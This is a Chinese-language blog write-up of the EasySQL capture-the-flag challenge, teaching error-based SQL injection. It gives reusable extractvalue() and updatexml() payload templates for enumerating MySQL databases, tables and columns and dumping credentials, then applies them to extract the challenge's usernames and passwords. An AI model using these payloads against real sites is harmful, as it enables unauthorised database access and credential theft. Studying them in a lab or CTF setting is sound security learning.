报错注入 [极客大挑战 2019]EasySQL

网上看到很多有意思的解法,就想和大家分享一下,也当作学习吧,我自己是用的万能密码先得到flag的

解法一:万能密码




可以很轻松拿到flag,但像我一样喜欢瞎整又无聊的朋友可能就会用sql注入,给他admin全整出来

解法二:报错注入

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。可以用BP先做个检测,通过看RESPONSE来判断哪些字符被过滤了
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

下面开始讲报错注入常用的几个公式吧

updatexml()函数
extractvalue()函数
这两个原理相似而且用的广泛,形式简单,所以推荐

extractvalue()函数

id='and(select extractvalue("anything",concat('~',(select语句))))
例如
id='and(select extractvalue(1,concat('~',(select database()))))
id='and(select extractvalue(1,concat(0x7e,@@version)))
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

需要注意

updatexml()函数

id='and(select updatexml("anything",concat('~',(select语句())),"anything"))
例如
'and(select updatexml(1,concat('~',(select database())),1))
'and(select updatexml(1,concat(0x7e,@@database),1))
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

接下来就开始解题

admin' or updatexml(1,concat('~',database()),1) #


报错就带出了数据库名字 geek,继续

admin' or updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema="geek")),1) #

报错带出了表名 geekuser ,继续

admin' or updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_name="geekuser")),1) #

报错带出了列名 id username password ,继续

admin' or updatexml(1,concat('~',(select group_concat(username)from geekuser where id=1)),1) #
admin' or updatexml(1,concat('~',(select group_concat(password)from geekuser where id=1)),1) #




用得到的username和password去尝试登录就可以得到falg,
事实上一共有4个账号,接下来就是无聊的一个一个整出来,谁叫我无聊呢





账号密码连一起有点讽刺,就我菜呗,没错就我菜,好耶

posted @ 2021-01-08 12:22  paidx0  阅读(112)  评论(0编辑  收藏  举报